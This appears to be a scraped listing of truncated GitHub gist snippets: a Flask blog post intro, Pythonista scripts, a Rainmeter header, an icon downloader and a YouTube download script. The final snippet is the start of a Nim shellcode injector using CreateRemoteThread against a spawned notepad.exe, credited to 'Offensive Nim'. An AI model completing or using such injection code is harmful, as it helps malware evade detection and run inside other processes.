joequery

Flask is a Python web framework that's steadily increasing in popularity within the webdev world. After reading so many great things about Flask, I decided to try it out myself. I personally find testing out a new framework difficult, because you must find a project complex enough to reveal the framework's quirks, but not so daunting as to take the fun out of the project. Luckily, my PHP/Wordpress powered website filled this role quite nicely - the website simply consists of static content, a contact page, and a blog. If I could not convert such a simple site over to Flask, I would immediately know that Flask and I would not make a good team.

steventroughtonsmith

# coding: utf-8
from objc_util import *

NSAKDeserializer = ObjCClass('NSAKDeserializer')
NSAKDeserializerStream = ObjCClass('NSAKDeserializerStream')
NSAKSerializer = ObjCClass('NSAKSerializer')
NSAKSerializerStream = ObjCClass('NSAKSerializerStream')
NSAbstractLayoutGuide = ObjCClass('NSAbstractLayoutGuide')
NSAddressCheckingResult = ObjCClass('NSAddressCheckingResult')
NSAffineTransform = ObjCClass('NSAffineTransform')

0x61726b

#include <Windows.h>
#include "../../API/RainmeterAPI.h"

struct ACCENTPOLICY {
	int nAccentState;
	int nFlags;
	int nColor;
	int nAnimationId;
};
struct WINCOMPATTRDATA {

Aareon

import os,requests
icons = requests.get('http://pastebin.com/raw/b5fdkNp9').content.splitlines()
if not os.path.exists('./icons'):
	print("Creating ./icons")
	os.mkdir('./icons')
for i, icon in enumerate(icons):
		##print('{0}\r'.format("Downloaded: "+str(i+1)+"/"+str(len(icons))+" images")), ##Python 2.7
		##print("Downloaded: "+str(i+1)+"/"+str(len(icons))+" images", end="\r"), ##Python 3.x
		img_data = requests.get(icons[i]).content
		with open("./icons/icon"+str(i)+".png", 'wb') as handler:

nneonneo

#!python3

'''
Directions:

    - install yt-dlp via Pip (e.g. using (StaSh)[https://github.com/ywangd/stash] - `pip install yt-dlp`)
    - add this script as a Share extension through Settings -> Share Extension Shortcuts
    - while watching a video in the YouTube site or app, just share the video to Pythonista and select this script
    - the video will download, and when it's done you can share the video file itself with any app (e.g. VLC)
Advanced usage:

Aareon

# import 'pythonista'
# -*- coding: utf-8 -*-
"""Copy WebPage Text
A Pythonista script that works from the sharesheet or the clipboard to copy the text from a webpage to the clipboard. If you have copy a URL and run this script, it will open the URL from your clipboard.
"""
import os
import re
import sys

import appex

pawnmuncher

# With special thanks to byt3bl33d3r for Offensive Nim!
import winim/lean
import osproc
import base64
import sequtils
import strutils

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =

    let tProcess = startProcess("notepad.exe")